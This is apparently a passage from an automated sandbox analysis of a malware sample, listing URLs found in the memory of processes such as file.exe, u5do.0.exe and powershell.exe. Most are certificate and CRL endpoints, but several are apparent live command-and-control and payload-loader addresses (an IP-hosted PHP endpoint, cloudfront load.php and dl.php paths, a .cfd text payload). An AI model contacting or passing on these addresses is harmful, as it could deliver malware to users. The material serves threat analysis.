Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php70e7ad0fea9dd580957f3efcf47e4-release
Source: u5do.0.exe, 00000008.00000003.2163332935.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpCw
Source: u5do.0.exe, 00000008.00000002.2524569287.000000000416E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76uj
Source: powershell.exe, 00000007.00000002.2063150468.00000000052EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://240216234727901.mjj.xne26.cfd
Source: powershell.exe, 00000007.00000002.2063150468.00000000052D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2063150468.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2063150468.00000000052EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://240216234727901.mjj.xne26.cfd/f/fvgbm0216901.txt
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA.crt0
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: freebl3[1].dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000007.00000002.2062470395.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microL
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: svchost.exe, 00000026.00000002.3224348083.0000020E72C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: freebl3[1].dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigning-g1.crl03
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: freebl3[1].dll.8.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.8.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigning-g1.crl0K
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: freebl3[1].dll.8.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	String found in binary or memory: http://download.iolo.net
Source: qmgr.db.38.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.38.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.38.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.38.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.38.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.38.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.38.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: run.exe, 0000000B.00000002.2248865521.000000000049C000.00000002.00000001.01000000.0000000D.sdmp, run.exe, 0000000B.00000000.2182482362.000000000049C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://gdlp01.c-wss.com/rmds/ic/universalinstaller/common/checkconnection
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	String found in binary or memory: http://google.com
Source: file.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: freebl3[1].dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000007.00000002.2063150468.0000000005091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000003.2416450118.0000000002790000.00000004.00001000.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp, u5do.3.exe, 00000011.00000003.2416450118.000000000278B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
Source: u5do.3.exe, 00000011.00000003.2416450118.00000000027B6000.00000004.00001000.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000003.2416450118.0000000002819000.00000004.00001000.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000003.2416450118.0000000002854000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://svc.iolo.com/__svc/sbv/DownloadManager.ashx.
Source: Amcache.hve.29.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: svchost.exe, 00000026.00000003.2399888072.0000020E6DF1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2399967720.0000020E73010000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.8.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: i1.exe, 00000006.00000003.2228626485.00000000074AC000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp, u5do.3.exe, 00000011.00000003.2416450118.0000000002812000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: run.exe, 0000000B.00000002.2250614344.0000000003480000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.0000000005832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: u5do.0.exe, u5do.0.exe, 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: u5do.0.exe, 00000008.00000002.2550476851.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2536462612.000000001E770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000007.00000002.2063150468.0000000005091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: u5do.0.exe, 00000008.00000003.2163226468.0000000004216000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.2066528170.00000000060F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: run.exe, 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: u5do.3.exe, 00000011.00000003.2416450118.00000000027D4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.06
Source: svchost.exe, 00000026.00000003.2419747911.0000020E72A3B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3224315897.0000020E72BA0000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3222968028.0000020E6DF00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3225085084.0000020E72FD0000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3223218255.0000020E6E340000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.2346417204.0000020E72A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe7C:
Source: powershell.exe, 00000007.00000002.2063150468.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net
Source: file.exe, 00000000.00000002.2202781227.000000000051E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201263474.0000000000513000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000051C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/
Source: file.exe, 00000000.00000002.2202781227.000000000051E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201263474.0000000000513000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000051C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/P
Source: powershell.exe, 00000007.00000002.2063150468.0000000005300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/l
Source: file.exe, 00000000.00000002.2202781227.000000000052A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000052A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000
Source: powershell.exe, 00000007.00000002.2062470395.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444
Source: file.exe, 00000000.00000002.2202781227.000000000052A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000052A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456
Source: file.exe, 00000000.00000003.2201263474.00000000004F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000
Source: file.exe, 00000000.00000002.2202593128.00000000004E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000/silentget
Source: file.exe, 00000000.00000002.2202726324.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201263474.00000000004F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000L
Source: file.exe, 00000000.00000002.2202593128.00000000004E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000X&?
Source: file.exe, 00000000.00000002.2202852675.000000000055A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1989017992.000000000055A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000h1
Source: file.exe, 00000000.00000002.2202852675.000000000055A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dsepc5ud74wta.cloudfront.net/load/load.php?c=1000yX0-
